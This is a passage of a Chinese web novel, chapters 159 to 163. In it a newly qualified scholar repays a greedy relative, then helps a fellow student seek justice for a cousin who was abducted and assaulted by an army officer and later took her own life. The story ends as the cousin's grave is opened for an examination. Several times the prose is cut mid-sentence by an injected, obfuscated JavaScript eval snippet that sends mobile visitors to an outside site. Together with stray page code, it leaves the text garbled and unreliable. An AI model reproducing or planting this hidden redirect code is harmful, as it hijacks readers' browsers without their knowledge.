即便是杨云刚回村的时候，他也有钱还清这笔账。 只是当时刚来，人生地不熟，杨云不敢露财，才想办法拖一下。 现下他已经摸清村子的情况，族老又这么看重他，他自然不用藏着掖着。 见到杨云死活要还这笔钱，杨玉昭的眼睛转转，干笑着对他说： “要还也行，但你们家欠这笔银子有十几个月了，你看……是不是该算点利息？” 听到杨玉昭竟跟侄儿要利息，杨四德和其他几个族老都皱起眉头，明明都是一家人，却还这么精于算计。 杨玉昭这么做，虽有点利欲熏心，但也不算大错，杨四德也没有开口。 杨云见到杨玉昭这么贪心，嘴角泛起一丝冷笑，“那你说说，欠这么长时间，我该给你多少利息？” 杨玉昭想半天，实在不想放弃那块宝地，最终一咬牙，冲着杨云说： “既然是你想还钱，等于是你违约，那你给我……一百两银子吧！” 在杨玉昭看来，杨云刚考上秀才，家里的钱应该不是很多，估计拿不出一百零。 只要他拿不出来，那他可以让杨云等到约定到期，给他争取几个月争地的时间。 “多少？”杨云还没说话，杨四德立刻站起来，对杨玉昭怒目而视，“杨云是你的亲侄子！你竟让他还你一百两？” 另外一个族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616485|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老也十分不满,鄙夷地看着杨玉昭说： “一百两银子的利钱？玉昭，你的本钱只有十两，现下竟敢和杨云要这么多，你比那些放印子钱的人还狠啊！” 放印子钱的人，最多是三成利钱，杨玉照的利钱是本金的十倍，相当于一百成利钱！ 其他族老纷纷皱眉，杨云和杨玉昭是实在亲戚，这么做实在是太过分。 见到族老们都对他不满，杨玉昭心中暗喜，面上却装作无辜地说： “这不能怪我，是杨云要提前还钱的，他违约在前。要是他不想还，等约定到再说。” 杨云的眼睛转转，猜到杨玉昭还是惦记自家那块地，冷笑一声说： “一百两对吧？来，这是你的利钱，这是我的本金。把借据拿来吧！” 杨云从怀中拿出两张银票，分别摆在桌上，族老们看得清楚，一张一百两，一张十两。 见到杨云竟真能拿出这么多银子，杨玉昭忍不住大吃一惊，指着银票说： “你……你哪来这么多银票？你是不是做贼了？” 杨云哼一声，冷冷地回答道：“银子从哪来的，你别管了，反正都是干净的。你该把借据拿出来了。” 杨玉昭知道这次搪塞不过去，只能派人去家里取来借据。 但他将借据还给杨云后，没有动那一百两银子，而是干笑着拿起十两的银票， “小云，我刚才的话是开玩笑的，你把那一百两收起来吧。” 如果杨玉昭知道，真收那一百两银子，以后没脸在村里待了，只能让杨云收回去。 杨云看看借据，确定没错后，把借据撕个粉碎，收起银票，冲着各位族老一一道别，大步流星地离开，理都没理杨玉昭。 族老们也起身离开，一向最喜欢息事宁人的杨四德，轻轻地摇摇头，冲着杨玉昭说： “这是何苦？” 杨玉昭没有说话，阴沉着脸离开房间，祖庙之中又恢复以往的宁静。 第159章 登门求援 第一百五十九章登门求援 村里的大戏唱三天才散，来杨云家里的人也少很多，日子总算渐渐平静下来。 这天，姜梅做好衣服，准备进城给李掌柜送去，顺便买点家里用的东西。 杨云想着，回来有些日子，正好趁这个机会，去书院看看卢先生和同学们。 娘俩一起坐车来到城里，姜梅去找李掌柜。 杨云则来到东阳书院，轻轻叩响门环。 开门的下人随意扫杨云一眼，神色冷淡地问道： “请问你有什么事？” 见到下人没认出他，杨云有些不习惯，但很快压下去，笑呵呵地拱手说： “我是书院之前的学生，今日前来拜访卢毅先生，还请代为通传。” 下人把杨云领到卢毅房间之外，通禀之后，卢毅让人进去。 杨云整一下衣冠，才推门进去，满脸笑容地冲着卢毅行礼，“学生杨云，见过先生。” 听到是杨云，卢毅诧异地抬起头，见到真是他后，激动地站起来，惊喜地说： “你今天怎么到书院来了？我还以为你在家用功读书呢！” 有正式功名，东阳书院已经教不了杨云，让他自动毕业。 杨云也不见外，在卢毅桌前的椅子上坐下，不紧不慢地说： “原本是在家读书的，但这几天静极思动，过来看看您。” 卢毅亲自给杨云倒一杯茶，言语之中带着调侃之意说： “听说你考小三元后，我是大吃一惊，还想着请你来书院，给同学们讲讲经验。” “只是觉得院试结束不久，太过唐突，没想到你竟送上门来了。” 杨云起身，双手接过茶水，同样开玩笑说：“既然是先生有命，学生当然不敢推辞。” 两人闲聊片刻，到书院午饭时间，卢毅和杨云吃过饭，才来到内舍。 见到杨云来了，内舍的学子们激动起来，纷纷跟杨云打招呼，“杨兄，你今天怎么来了？” “杨兄，你来书院竟不先找我，实在是太不够意思了！” 众人的嬉笑之言过后，卢毅才揭开谜底， “今天杨云正好来书院，我想着让他给你们讲讲小三关的经验，你们要仔细听啊。” 内舍学生对秀才身份不是那么看重，毕竟他们自恃以自身的实力，考个秀才也不难。 杨云不一样，这是拿小三元的秀才，这样的人必然有过人之处，必须听。 杨云也不藏私，把经验都说一遍，整个内舍听得津津有味。 其中最认真的是卢汲方怀礼等人，不时还会问杨云几句。 其他学生也听得很仔细，偶尔还做些笔记，等着日后慢慢揣摩。 看望过先生和同学，杨云在文宝坊买些文房四宝，跟母亲坐着车回到家里。 接下来的十几天，杨云都在家里读书，作文，练字，日子平淡充实。 这天杨云刚吃过早饭，却听到有人敲门，一个熟悉的声音问道：“请问，杨云是不是住在这里？” 杨云顺着打开的窗户向外看一眼，却见周仲站在门口，左右张望着。 见到师兄来了，杨云连忙出门迎接，惊喜地说： “今天刮的是什么风，竟把师兄给吹来了？快进屋坐。” 周仲进屋坐下，仔细地打量杨云房中的陈设，颇为感慨地说： “师弟的住所如此简朴，除了书还是书，怪不得能拿到小三元。” 这三间瓦房盖成后，正好碰到农忙，过年，忙得不可开交，根本没空添置家具。 好不容易过年，杨云又去府城参加院试，更没空捣鼓房间里的摆设。 杨云给周中倒一杯茶，淡淡地笑着对他说： “我这人对住的要求不算高，才一直这么空着，等哪天我有心情再买吧。” 听到杨云这么坦白，周中笑着点点头，从怀中拿出一封信交给杨云， “这是老师写给你的信，让我转交给你。” 杨云赶忙谢过周仲，当着他的面把信拆开，看完之后恍然大悟地点点头，< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616486|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “原来是这样。” 周仲眉毛挑一下，但碍于这是杨云的私事，没有问。 杨云看到周仲的样子，笑呵呵地将信装回去，淡笑着问： “师兄，院试之前，老师给我出过一些题目，让我练习。” 听到院试和题目这两个词，周仲的心中有一道灵光闪过，眯着眼睛问道： “是那道相似题目？” 院试的一场，罗孝荣出的题目和第一题十分相似，杨云觉得太巧，写信问问老师。 见到周仲果然也做过那些题目，杨云毫不意外，继续说： “我问老师，老师说纯属巧合，他不屑于做那些下三滥的事。” 周仲的心里放下一块大石头，当初他也发现考题和练习的题目很相似，只是他不敢去问老师，没想到杨云胆子还这么大。 两人在房间里聊一会儿，杨云热情地留周仲在家里吃饭，让母亲准备点好酒好菜。 周仲推辞几句，最终同意，只是中午吃饭的时候，他不停地往嘴里灌酒。 杨云看出周仲有心事，没有询问，只是陪着他一起喝，等量到，周仲自然会开口。 姜梅看出不对劲，吃过饭后默默回房，留下两人单独谈。 两人喝三壶后，周仲有七八分醉意，才满目愧疚地看着杨云说： “师弟，其实……我这次来，不光是为送信，更是……” 说到这里，周仲哽住，似下面的话很难启齿一样。 杨云知道火候到了，端起酒杯跟周仲碰一个，大大咧咧地对他说： “师兄，咱们是同门师兄弟，有什么话尽管开口，我能帮一定帮，不能帮也想办法帮！” 周仲对杨云很不错，当初杨云含冤入狱，是周仲向罗孝荣求情，现下他遇到难处，杨云自然不能袖手旁观。 见到杨云这么仗义，周仲终于下定决心，昂头把酒喝净后，摇摇晃晃地说： “师弟，你之前不是破县里的灭门案吗？师兄这次想让你帮忙，告一个人！” 第160章 求告无门 第一百六十章求告无门 听到周仲是来找他告状的，杨云明白，他为什么会难以启齿。 在大盛朝，有一些秀才考举人无望，会专门帮人写状纸，打官司。 时间一长，这些人变成曲解律法，强词夺理的讼棍。 正经秀才很讨厌这种人，他们极少帮人打官司，免得也被扣上个讼棍的名声。 杨云刚考上秀才，周仲过来让他帮忙告状，这在外人看来，实在有点**道。 见到周仲无奈的样子，杨云沉吟片刻，没有拒绝他，只是委婉地说： “师兄，你先把事给我说说，我看能不能帮你。” 如果只是一般案子，杨云去县衙找李乐山，给周仲介绍几个讼棍即可，大不了请人的钱杨云出。 要是真有天大冤屈，杨云出手帮一把，也不是不行，反正只是一次而已。 见到杨云没有答应，周仲轻轻叹一口气，双目失神地看着桌上的酒菜，慢慢开口， “我在县城有个姨父，名叫刘青，他有个女儿叫**，我姨走得早，父女俩人相依为命。” “英子手巧，在家里做些缝补的活，那天她出门去送衣服，但直到晚上都没回来。” 杨云微微皱眉，难道这女孩**，或被人拐走卖了？ 周仲没注意到杨云的表情，沉浸在悲痛之中，继续讲述： “眼看天色全黑，英子还没回来，我姨父慌了，赶快求人到处去找。” “直到第三天，才有人在城外的一棵大树底下，发现英子。当时她……她……” 杨云没有追问，只是轻轻拍着周仲的背，等到他缓过来之后再说。 过好一会儿，周仲才吸吸鼻子，声音颤抖着说： “当时英子……衣不蔽体，身上到处都是淤青，掌印……我姨父知道后，赶快把她带回家。” “后来才知道，英子那天晚上回家，不想遇到城外卫军的校尉，那个校尉喝醉之后，看英子长得漂亮，强行把她掳回军营凌辱！” 说到这里，周仲已经是泣不成声，杨云轻叹一声，眼神中有一丝凌厉闪过，“这些丘八，简直是无法无天！” 当街掳走良家女子，抓回军营施暴，这般胆大妄为，这些人肯定不是第一次这么干！ 周仲拿起酒壶，灌好几口，擦擦眼泪继续说： “若只是如此，我也不会来找师弟，我是个秀才，这种事我也能告状！” “但英子回家后，一天，只一天，刚有些力气却悬梁自尽了。” 听到英子回家之后自尽，杨云心里也很不是滋味，好好一个姑娘，这样没了。 周仲红着眼，抓着杨云的手，颤声说： “我姨父气不过，找人写状纸要去告那个校尉！知县大人接到状纸，不敢耽搁，立刻找人去把校尉请来，当堂对质。” 杨云轻轻摇摇头，校尉的官职是六品，知县是七品，这官司没有那么好打。 果不其然，只听周仲咬牙切齿地说： “那个校尉，连来都懒得来，只派一个亲兵代他过堂。” “至于掳走我表妹，对她施暴那些事，通通不认，还说我姨父是诬告，要知县治他的罪！” “知县派人去查，但没有找到任何证据，只能让亲兵先回去，把我姨父轰出来。” 石知县的做法看起来有些偏袒校尉，杨云却知道，他为人正直，不会这么干。 这个案子最主要的问题，是没有证据：校尉的官又比知县大，石任远也左右为难。 杨云的眼珠转转，主动给周仲出主意， “没有证据，知县是管不了校尉的，不如让你姨父去府里碰碰运气，说不定有用。” 杨云不知道平源府的知府是什么性子，万一是个清官，这校尉能抓起来。 没想到周仲摇摇头，十分悲痛地说： “去不了，我姨父告状的当天晚上，有人打断他的两条腿，他连床都下不了。” “欺人太甚！” 听到刘青的双腿被打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616487|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断，杨云怒了。 他从小受老侯爷影响，对大盛朝的军队十分尊敬，向往，没想到军中竟会有这种败类！ 刚才的事杨云一听已知道，肯定是校尉找人下黑手干的，没要周仲姨父的命，应该是怕事情闹大，故意没下死手。 这个校尉，先害**家女儿，现下又打断父亲的两条腿，简直丧尽天良！ 周仲见到杨云如此愤怒，深深吸一口气说： “姨父被打断腿后，知道我中秀才，托人给我报信，求我一定要给他申冤。” “师弟，你是断案高手，能不能看出，这案子到底该怎么才能告倒那个校尉？” 虽同为秀才，但周仲在断案这方面远不如杨云，甚至不知道该从哪里下手。 杨云心中已经是气愤难忍，沉默片刻后说： “师兄，这个案子我不能出面，毕竟我跟你姨父非亲非故，很容易被扣上讼棍的帽子。” “但我可以在后面为你出谋划策，至于告状，过堂，这些都得你来。” 听到杨云愿意为他出谋划策，周仲的眼泪又流下来，激动地点头说： “师弟，你能做这些足够了！剩下的事全都交给我！” 周仲和刘青是姨甥关系，由他去告，不仅没有讼棍嫌疑，反而是有担当的表现。 下定帮忙的决心后，杨云拿起酒杯抿一口酒，问道： “想要告倒校尉，最重要的是证据，你表妹被掳走的时候，可有人看到？” 校尉是朝廷命官，不能上刑也不能诱供，必须有详实的证据才行。 周仲闷一口酒，看着杨云，一脸悲痛地说： “那时候天色已经黑了，根本没有人看到，我姨父是后来听英子说，才知道掳走她的人是城外卫军的校尉。” 军营本来是一个半封闭的地方，若不是校尉把只剩下半气的**扔到路边，恐怕刘青这辈子都找不到他的女儿。 杨云眉头紧锁，低声对他说：“没有证据，这麻烦了……” 第161章 寻找证据 第一百六十一章寻找证据 校尉是六品武官，在东平县这个小地方，已经算是顶级官员，如果没有确凿详实的证据，光凭杨云和周仲两个新秀才，想要告倒他难如登天。 周仲皱眉冥思苦想，过好半天之后才摇摇头，苦着脸说： “难道我表妹要这么白**吗？” 没有证据，告不到校尉，告不倒校尉，**自然只能白死。 见到周仲这么伤心，杨云实在于心不忍，轻声对他说： “明天我们去城里看看，说不定能找到什么线索。” 侮辱良家姑娘，还把告状之人的双腿打断，这么丧心病狂的事，杨云当然不能袖手旁观！ 周仲大喜过望，摇摇晃晃地起身，双腿一弯要下跪。 杨云的酒量比周仲好，眼疾手快地把他扶住，没让他跪下，惊讶地说：“师兄，你这是要干什么？” 周仲搭在杨云的身上，含混不清地说：“师弟大恩，我无以为报，我代我表妹和姨父，给你磕一个。” 杨云有点哭笑不得，连忙将他扶到一边的椅子上坐下，无奈地说：“你我同门是兄弟，用不着这样的。” 周仲心中十分感动，非要再跟杨云喝上三杯。 杨云只能跟着周仲喝三杯，借口上茅厕，让母亲把房间收拾一下，看样子周仲今天晚上走不了。 果不其然，等杨云回去后，周仲已经趴在桌子上睡着。 杨云无奈地笑笑，艰难地把他背到西屋的炕上，让他好好睡一觉醒醒酒。 姜梅帮忙给周仲盖上被子，看着他烂醉如泥的样子，小声问道：“我刚才好像听见哭声，是你这个师兄喝哭了？” 杨云的眼中闪过一道幽暗光芒，轻描淡写地说：“师兄想起了伤心事，忍不住哭了。” 姜梅轻轻叹一口气，上前帮他掖好被子，娘俩关好门出去。 回到房间，杨云把周仲刚才的话仔细梳理一遍，心中更加决定要把这个校尉拿下！ 周仲一觉睡到第二天日上三竿，醒来之后立刻找到杨云，“师弟，我昨晚跟你说的事，你想得怎么样？” 昨天周仲喝断片，只记得他把表妹的冤屈告诉杨云，但杨云答应没有，他不记得了。 杨云郑重地点点头，十分坦然地对周仲说： “师兄，这件事很难办，咱们不一定能找到证据，你要做好准备。” 掳人的时候，没有人看见，军营里的兵又是校尉下属，想找证据恐怕得看天意。 周仲抿着嘴地点点头，右手攥成拳头，在桌上敲一下，恨恨地说： “这个我早有准备。只是想到这样的恶人，残害百姓之后还能逍遥法外，日后不知道要害死多少人，我心里不甘！” 表妹死得如此**，那人却能连面都不露，从那时起，周仲已知道这个官司不好打。 只是他不甘心放弃，无论如何总要拼尽全力，试上一次！ 两人吃过饭，杨云收拾东西，神色轻松地对姜梅说： “娘，我和师兄出门游学一段时间，拜访几个朋友，可能要过段时间再回来。” 杨云不敢把真相告诉母亲，怕她担心，只能找个借口骗她。 旁边的周仲不好意思地低下头，如果不是他，杨云也不会卷到这么危险的事中。 姜梅虽然舍不得杨云离开，但也知道游学是必须的，趁着周仲不注意，塞两张银票在他包袱里，口中叮嘱道： “云儿，出门在外要小心点，跟朋友说话要和气，不要跟别人争执……” 在姜梅唠唠叨叨的嘱咐中，杨云和周仲出门，直奔县城。 两人来到县城，没有片刻犹豫，直奔周仲姨父刘青的住处，保宁坊苦水巷。 刘青家的院子不大，但到处都是灰土，看起来有几天没扫过。 淡淡的药味从堂屋中传来，显然刘青住在那间屋子。 “姨父，我来了。” 周仲一边说着，一边推开堂屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616488|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的房门，一股难闻的味道从屋里传出来。 只听一个干涩沙哑的声音从屋中传来，带着几分哭腔说：“小仲，你总算来了！” 杨云跟着周仲走进房中，床上躺着一个形容枯槁，神色黯淡的老者，这人应该是周仲的姨父，刘青。 周仲先把房中的窗户打开散散味道，对刘青说： “姨父，这位是我师弟，杨云，上次铁笔街的灭门案，是他破的。” 刘云听到杨云破掉灭门案，艰难地挣扎着想起身，但他的腿被打断，根本起不来，只能用额头不停地磕着床边，流着泪说： “大人，你一定要帮英子洗清冤屈，还她一个公道！” 英子是刘青的命根子，现下死得不明不白，他自然不甘心。 杨云尴尬地摆摆手，眼中带着同情说： “刘大叔，你用不着叫我大人，叫我杨云，或小杨即可。” “大叔，那天英子是去哪里送衣服，走的是哪条路，你还记得吗？” 跟刘青简单寒暄几句后，杨云立刻开始询问情况。 周仲讲得很让人动容，但毕竟是转述，说不定会忽略一些情况，还是问刘青比较好。 刘青看一眼周仲，似在询问他的意见，周仲用力地点点头说：“姨父，杨兄问你什么，你说什么即可，不要有任何隐瞒。” 有周仲的话，刘青才躺回床上，闭着眼睛颤声开口， “那天英子是去给安家送洗好的衣服，走的是双井街，那条街平时走的人不多，但也没听说出过什么事，没想到……第一次出事是英子……” 双井街，杨云把这个地名记在心里，又问几个问题，确认刘青知道的东西都问出来，才起身对周仲说： “师兄，我问完了。从刘大叔的话来看，英子姑娘应该是遭无妄之灾。” 刘大叔默默流下眼泪，周仲也轻轻叹一口气说： “姨父，你别哭了，我和师弟会想办法，给英子讨回公道！” 第162章 什么都没看到 第一百六十二章什么都没看到 两人关好窗户，从刘青家里出来，周仲看看天边的夕阳，转头对杨云说：“师弟，马上要天黑，咱们去找个客栈住下，等明天再继续找吧。” 杨云沉吟片刻，冲着周仲摇摇头说： “根据刘大叔的话，英姑娘应该是这时候去送衣服的，我们正好去双井街看看。” 虽然刘青说得很详细，但终究比不过亲自走一回。 见到杨云对他表妹的事这么伤心，周仲感激地点点头，两人往前来到双井街。 这条街上住的都是些小贩和手艺人，这个时间正是他们挣钱的时候，人很少。 杨云和周仲按照刘青的讲述，来到一棵合抱粗细的大树前，**是在这被人打晕带走。 两人围着树转几圈，距离事发到现在，已经过去大半个月，就算有痕迹也被人踩掉。 杨云站在大树的位置，向左右看一圈，能看到这个方向的院子有六家。 他跟周仲小声说几句，两人走到最近的一家，轻轻敲敲房门。 院子里没有回答，显然是主人家不在。 接着又去敲第二家，第三家……直到第五家，才终于有人应一声，一个四十岁左右的妇人看着杨云和周仲，神色中带着几分戒备问：“两位有事吗？” 周仲刚想报上姓名，杨云打断他，笑呵呵地冲妇人拱拱手说： “我们两个是茶楼里说书的先生，听说双井街前段时间出件大事，我们想找人问问，编个新书，挣点零花钱。” 周仲心中有点不解，但他知道杨云这么说必有道理，也没吭声。 妇人听到两人是茶楼里的说书人，神色缓和好多，转着眼珠说： “前段时间是有件大事，但时间太久，有些事我记不起来了。” 杨云一听知道，妇人这是想要钱，从身上摸四五十枚铜钱给她， “大嫂，您一定要想起来，不然我们这书没法编了。” 妇人把钱拿到手里数一下，热情地将两人请进家里，倒上茶水， “我和你们说，前段时间……好好的姑娘这么没了，大家都觉得太可惜啊。” 听妇人讲完，杨云和周仲对视一眼，她讲得还没有刘青详细，有很多地方都是已测。 但杨云没有放弃，而是装作十分感兴趣地说： “大嫂，你当时有没有看到，掳走那位姑娘的人，到底长什么样子？” 要是妇人能看到校尉的长相，以后在告他的时候，是一个十分有力的证据。 那妇人迟疑一下，摇摇头说：“那天我和我家男人出摊卖炸豆腐去了，没有看到那人长什么样。” 尽管早猜到会是这个结果，杨云心中还是有些失望，强打精神继续问道： “那你周围的邻居，有看到那人的样子吗？” 妇人摇摇头，十分笃定地说：“我们聊天的时候说过这件事，但没人见过那个男人长什么样子。” 周仲听到妇人什么都不知道，心中不由得有些着急，低声吼着问： “那你没有注意到有什么不一样的地方吗？” 妇人被周仲吓一跳，皱眉看着两人，似已经对两人的身份起疑心。 杨云知道再问也不会有什么收获，起身告辞，拉着周仲从妇人家里离开。 出门之后，杨云又去敲最后一家的门，依旧是没人，他失望地叹一口气，跟周仲向双井街外面走去。 周仲见到杨云沉默不语，忍不住开口问道： “师弟，你刚才为什么要说我们是说书人？为什么不实话实说？” 在周仲看来，如果实话实说，说不定那位大嫂会心生同情，主动说点别人不知道的东西。 没想到杨云鼻中轻哼一声，转头看着周仲说： “师兄，如果我们刚才实话实说，定然一个字都不说，只会敷衍我们。” 听到杨云竟这么说那个妇人，周仲有些不服气，“你怎么知道他只会敷衍我们？” 夜色越来越浓，杨云不紧不慢地往前走，眼中带着一丝无 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第二天一早，周仲顶着满是血丝的眼睛，一边吃着王伯买回来的粥和包子，一边问道： “师弟，昨天咱们白忙一天，什么证据都没找到，今天该怎么办？” 昨天晚上周仲想一晚上，都不知道哪里还能找到证据。 杨云咬一口包子，不急不躁地对周仲说： “我已经想好一个地方，等一会儿吃过饭后带你去看看。” 周仲听到杨云已经想好下一步，三下五除二把早饭扒拉完，眼巴巴地等着他出发。 杨云不紧不慢地吃两个包子，又拿出十两银子交给王伯，神色平淡地说： “王伯，午饭我不回来吃了，你晚上给我留点吃的即可。” 看到手里的十两银子，王伯乐呵呵地点点头，把银子收起来。 两人出门往西，走大概两刻钟，周仲终于忍不住，“师弟，咱们到底要去哪？” 第163章 唯一办法 第一百六十三章唯一办法 杨云没有回答，又往前走几十步，最后在一处地方站定，抬头看着上面的匾额。 周仲也紧走几步跟上来，等他看清那块匾额上的字，身子不由自主地打个冷战。 他艰难地咽一口唾沫，往杨云的身边挪半步，低声问道：“师弟，你带我来义庄干什么？” **被父亲刘青接回来的第二天，悬梁自尽。 刘青知道女儿是因为校尉而死，也没上报衙门，只是买一口棺材，把女儿葬了。 周仲也没觉得整个过程有什么问题，不理解杨云为什么会来义庄。 杨云看着匾额上的义字，平静地开口问道： “师兄，你和刘大叔，真的能为告倒校尉，不惜任何代价吗？” 周仲愣一下，不知道他为什么这么问，但很快用力地点点头， “不错，哪怕是搭上我的性命，也在所不惜！” 杨云的表情没有什么变化，而是低下头，用极低的声音说： “我们在案发地找不到线索，军营我们又进不去，那只能从……英姑娘身上找线索。” **死的时候，身上的伤势还没好，以杨云的见识和仵作的技术，说不定能找到点线索。 周仲刚开始没明白杨云的意思，自家表妹都已经下葬，还能找什么线索？ 片刻之后，周仲反应过来，一双眼睛瞪得滚圆，不可置信地看着杨云说：“你……你想开棺验尸？” 这下周仲终于明白，杨云为什么会问他，是不是为告倒校尉，可以付出任何代价。 开棺验尸，让表妹死后都不得安宁，这种决定太残忍了！ 杨云沉重地点点头，在他看来这都是个极为艰难的决定，更别说恪守礼法的其他人。 周仲想说不行，但想到表妹死得那么惨，师弟为帮他，连名声都不要，他又说不出来。 沉默半晌后，周仲终于有决定，趁着连对杨云说： “这件事我得问过姨父，如果他同意的话，我也同意。” 杨云早料到周仲会这么说，点头，跟他一起来到刘青家。 听到周仲要开棺验尸，刘青怒火冲天，指着周仲说： “周仲，亏你还是我的外甥，让表妹死后不得安宁，你这做的是人事吗？” 面对姨父的斥责，周仲脸上闪过一丝痛苦，但还是低声劝说： “姨父，让表妹这样蒙受不白之冤离开，你觉得她泉下有知，会安宁吗？” “现下唯有开棺验尸，才有可能找到线索，姨父，难道你不想看到校尉被绳之以法？” 刘青激动地拍着床板，瞪着周仲说： “我当然想，我比你们任何人都想！但我也不想让人打扰我女儿的安宁！” 周仲仍旧是不气不恼，冷静地跟刘青分析着利弊，劝他接受开棺验尸。 杨云站在一边，不知道该说什么，这是人家的家事，他插嘴只能激化矛盾。 足足过大半个时辰，已经喊的嗓子嘶哑的刘青，终于没力气，瘫软在床上，双目无神地看着顶棚，认命一般地说： “既然你说这样能给你英子洗刷冤屈，那你……去吧！” 说到这里，刘青满脸痛苦地闭上眼睛，一行浊泪顺着眼角流下来。 周中起身冲着刘青深施一礼，和杨云离开刘家，想带杨云去城外**的坟茔。 没想到两人刚离开双井街，杨云拉着他去县衙门。 站在县衙门口，周仲疑惑地问道：“师弟，咱们还没有找到线索，这时候来县衙没用吧？” 杨云先是上前请门口的衙役把李乐山请出来，对周仲说： “师兄你忘了，开棺验尸要有县衙的文书，你我都不回验尸，还得找仵作才行。” 周仲后知后觉地点点头，开棺验尸对他的冲击太大，差点把这道文书忘掉。 没过多长时间，李乐山满脸笑容地从县衙里走出来，抱拳行礼，调侃着说： “杨老弟，恭喜你中秀才，我是不是该叫你一声杨秀才啊？” 两人是过命的交情，言语之间也随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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杨云转头看着李乐山，不知道知县有什么话要告诉他。 李乐山走到杨云身前，目光中带着几分钦佩，低声对他说： “大人说，欲穷千里目，更上一层楼。” 听到这句脍炙人口的诗，杨云明白石知县的意思，冲着李乐山拱拱手说： “多谢李大哥，知县大人的意思我明白。” 石知县让李乐山转告杨云这句诗，是在暗示杨云，想要告倒校尉，必须更上一层。 不然在东平县告状，只能打草惊蛇，让校尉提前做好准备。 周仲的眼中闪过一道精光，显然他也听出石知县的弦外之音。 拿到石知县的手书，杨云没有去义庄，反而是去一家饭馆，找掌柜买一块碎炭，还要一包锅底灰。 见到杨云东一榔头西一棒子，周仲不禁脑海中满是不解，皱眉问道： “师弟，你买这些东西干什么？” 杨云找掌柜借一个石臼石杵，把碎碳压成粉末，把锅底灰混进去，又研磨一遍，才小心地把那些黑色粉末包好，神秘地冲周仲说：“这东西的用处，到时候你会知道的。” 收好东西，两人来到义庄，杨云喊几声，一个身形瘦小，面容干枯的中年男人从房里出来，狐疑地打量着杨云和周仲问：“两位有什么事？” 这里是义庄，专门盛殓那些无主，或**的尸体，寻常人嫌这里晦气，很少有人过来。 今天一来是两个，看起来文质彬彬，应该都是读书人，这实在是有些奇怪。 杨云见到中年人，立刻认出这是县衙的王仵作，立刻上前打招呼， “见过王仵作。我们遇到一桩棘手的案子，想请您出手验尸，这是知县大人的文书。” 上次破灭门案的时候，李乐山带杨云来这里查看尸体，当见过王仵作一面。 王仵作接过知县的文书看一眼，打量杨云几眼后，皱眉说：“你是杨云吧？我记得你和李捕头的关系不错，他没和你一起来？” 杨云没想到王仵作竟认出他，轻轻点头说：“王仵作真是好眼力，李大哥今天另有公干，才没过来。” 听到这里王仵作已经明白，这不是县衙的公差，而是杨云的私事，不然李乐山不会不来。 弄清楚公私后，王仵作看着知县的公文，有些为难地咂一下嘴说： “开棺验尸，这个活不好干……棺材里的尸体不是没烂完，就是成白骨……” 其实王仵作每天都跟尸体打交道，对这种情况早**以为常，根本没有他说得那么难。 杨云立刻明白，王仵作这是想要趁机赚点银子，他从怀里摸出五两银子递过去，神色平静地对王仵作说： “我们知道这件事不好做，还请您帮帮忙。” 见到银子，王仵作立刻眉开眼笑，将银子揣在怀里，笑呵呵地说： “杨公子你稍等一下，我把工具拿上，咱们马上去。” 看王仵作的态度变化这么快，杨云轻叹一声，又拿出四两银子交给他， “王仵作，拜托你找几个有经验的老手，帮忙掘土开棺。” 有银子，一切好办，王仵作很快又找来四个大小伙子，一行人直奔城外向月山。 不多时到**的坟前，周仲给她上贡品，又燃香祝祷，祈求表妹谅解，等这一切做完，才让小伙子们开始掘土。 趁着挖土的工夫，周仲来到杨云身边，拿出十两银子交给他。 自家事，杨云肯帮忙已经很够意思，不能再让他出钱。 看着递过来的十两银子，杨云也没有推辞，大大咧咧地收下。 小伙子们干将近半个时辰，终于见到**的棺木，周仲上前再次焚香祝祷，等香烧完后，才让小伙子把棺材钉起出。 